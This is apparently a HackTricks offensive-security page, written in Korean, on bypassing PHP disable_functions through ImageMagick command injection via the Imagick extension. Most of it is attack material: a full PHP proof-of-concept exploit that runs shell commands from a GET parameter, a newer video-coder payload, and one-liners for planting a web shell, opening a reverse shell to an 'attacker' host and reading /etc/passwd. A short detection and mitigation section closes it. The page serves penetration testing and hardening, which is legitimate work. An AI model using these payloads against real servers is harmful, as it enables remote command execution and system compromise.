Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

잘 μ•Œλ €μ§„ ImageTragick 버그 νŒ¨λ°€λ¦¬ (CVE-2016-3714 λ“±)λŠ” κ³΅κ²©μžκ°€ μ‘°μž‘λœ MVG/SVG μž…λ ₯을 톡해 κΈ°λ³Έ ImageMagick λ°”μ΄λ„ˆλ¦¬μ— μ ‘κ·Όν•  수 있게 ν•©λ‹ˆλ‹€. PHP ν™•μž₯ Imagickκ°€ μ‘΄μž¬ν•  λ•Œ, μ΄λŠ” λͺ¨λ“  μ‹€ν–‰ 지ν–₯ PHP ν•¨μˆ˜κ°€ disable_functions둜 λΈ”λž™λ¦¬μŠ€νŠΈμ— μ˜¬λΌκ°€ μžˆλ”λΌλ„ μ…Έ λͺ…령을 μ‹€ν–‰ν•˜λŠ” 데 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

2016λ…„ 5μ›” RicterZ (Chaitin Security Research Lab)에 μ˜ν•΄ λ°œν‘œλœ μ›λž˜ PoCκ°€ μ•„λž˜μ— μž¬ν˜„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 이 κΈ°μˆ μ€ λ§Žμ€ 곡유 ν˜ΈμŠ€νŒ… μ œκ³΅μ—…μ²΄κ°€ λ‹¨μˆœνžˆ exec/system 없이 PHPλ₯Ό μ»΄νŒŒμΌν•˜μ§€λ§Œ ꡬ식 Imagick + ImageMagick 쑰합을 μœ μ§€ν•˜κΈ° λ•Œλ¬Έμ— ν˜„λŒ€ PHP 7/8 감사 쀑에 μ—¬μ „νžˆ μ •κΈ°μ μœΌλ‘œ λ°œκ²¬λ©λ‹ˆλ‹€.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

μ™œ μž‘λ™ν• κΉŒμš”?

  1. Imagick::readImage()λŠ” ImageMagick delegate(convert/magick) λ°”μ΄λ„ˆλ¦¬λ₯Ό 투λͺ…ν•˜κ²Œ μƒμ„±ν•©λ‹ˆλ‹€.
  2. MVG μŠ€ν¬λ¦½νŠΈλŠ” fill을 μ™ΈλΆ€ URI둜 μ„€μ •ν•©λ‹ˆλ‹€. 이쀑 μΈμš©λΆ€ν˜Έ(")κ°€ μ£Όμž…λ˜λ©΄, λ‚˜λ¨Έμ§€ 쀄은 ImageMagick이 λ‚΄λΆ€μ μœΌλ‘œ μ‚¬μš©ν•˜λŠ” /bin/sh ‑c에 μ˜ν•΄ ν•΄μ„λ˜μ–΄ β†’ μž„μ˜μ˜ μ…Έ 싀행이 λ°œμƒν•©λ‹ˆλ‹€.
  3. λͺ¨λ“  것은 PHP 인터프리터 μ™ΈλΆ€μ—μ„œ λ°œμƒν•˜λ―€λ‘œ disable_functions, open_basedir, safe_mode(PHP 5.4μ—μ„œ 제거됨) 및 μœ μ‚¬ν•œ ν”„λ‘œμ„ΈμŠ€ λ‚΄ μ œν•œμ΄ μ™„μ „νžˆ μš°νšŒλ©λ‹ˆλ‹€.

2025 μƒνƒœ – μ—¬μ „νžˆ κ΄€λ ¨ 있음

  • μ·¨μ•½ν•œ ImageMagick λ°±μ—”λ“œμ— μ˜μ‘΄ν•˜λŠ” λͺ¨λ“  Imagick 버전은 μ—¬μ „νžˆ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. μ‹€ν—˜μ‹€ ν…ŒμŠ€νŠΈμ—μ„œ λ™μΌν•œ νŽ˜μ΄λ‘œλ“œλŠ” Imagick 3.7.0 및 ImageMagick 7.1.0-51μ—μ„œ PHP 8.3μ—μ„œ μž‘λ™ν•©λ‹ˆλ‹€. ν•˜λ“œλ‹λœ policy.xml 없이 μ»΄νŒŒμΌλ˜μ—ˆμŠ΅λ‹ˆλ‹€.
  • 2020λ…„ 이후 μ—¬λŸ¬ μΆ”κ°€ λͺ…λ Ή μ£Όμž… 벑터가 λ°œκ²¬λ˜μ—ˆμŠ΅λ‹ˆλ‹€(video:pixel-format, ps:, text: 코더…). 졜근의 두 가지 곡개 μ˜ˆμ‹œλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:
  • CVE-2020-29599 – text: 코더λ₯Ό ν†΅ν•œ μ…Έ μ£Όμž….
  • GitHub issue #6338 (2023) – video: delegateμ—μ„œμ˜ μ£Όμž….

운영 μ²΄μ œκ°€ μ œν•œμ μΈ μ •μ±… 파일 없이 ImageMagick < 7.1.1-11 (λ˜λŠ” 6.x < 6.9.12-73)을 μ œκ³΅ν•˜λŠ” 경우, μ•…μš©μ€ κ°„λ‹¨ν•©λ‹ˆλ‹€.

ν˜„λŒ€ νŽ˜μ΄λ‘œλ“œ λ³€ν˜•

// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

CTF λ˜λŠ” μ‹€μ œ μ°Έμ—¬ 쀑 μœ μš©ν•œ λ‹€λ₯Έ μ›μ‹œ κΈ°λŠ₯:

  • 파일 μ“°κΈ° – ... > /var/www/html/shell.php (open_basedir 외뢀에 μ›Ή μ…Έ μ“°κΈ°)
  • λ¦¬λ²„μŠ€ μ…Έ – bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • μ—΄κ±° – id; uname -a; cat /etc/passwd

λΉ λ₯Έ 탐지 및 μ—΄κ±°

# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

좜λ ₯이 MVG λ˜λŠ” URL 코더가 ν™œμ„±ν™”λ˜μ–΄ μžˆμŒμ„ 보여주면, λŒ€μƒμ€ μ•„λ§ˆλ„ μ·¨μ•½ν•  κ²ƒμž…λ‹ˆλ‹€.

μ™„ν™” 쑰치

  1. 패치/μ—…κ·Έλ ˆμ΄λ“œ – ImageMagick β‰₯ 7.1.1-11 (λ˜λŠ” μ΅œμ‹  6.x LTS) 및 Imagick β‰₯ 3.7.2λ₯Ό μ‚¬μš©ν•˜μ‹­μ‹œμ˜€.
  2. policy.xml κ°•ν™” – κ³ μœ„ν—˜ 코더λ₯Ό λͺ…μ‹œμ μœΌλ‘œ λΉ„ν™œμ„±ν™”ν•˜μ‹­μ‹œμ˜€:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. μ‹ λ’°ν•  수 μ—†λŠ” ν˜ΈμŠ€νŒ… ν™˜κ²½μ—μ„œ ν™•μž₯자λ₯Ό μ œκ±°ν•˜μ‹­μ‹œμ˜€. λŒ€λΆ€λΆ„μ˜ μ›Ή μŠ€νƒμ—μ„œ GD λ˜λŠ” ImagickλŠ” μ—„κ²©νžˆ ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
  2. disable_functionsλŠ” 심측 λ°©μ–΄λ‘œλ§Œ μ·¨κΈ‰ν•˜μ‹­μ‹œμ˜€ – μ ˆλŒ€ κΈ°λ³Έ μƒŒλ“œλ°•μŠ€ λ©”μ»€λ‹ˆμ¦˜μœΌλ‘œ μ‚¬μš©ν•˜μ§€ λ§ˆμ‹­μ‹œμ˜€.

μ°Έμ‘°

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°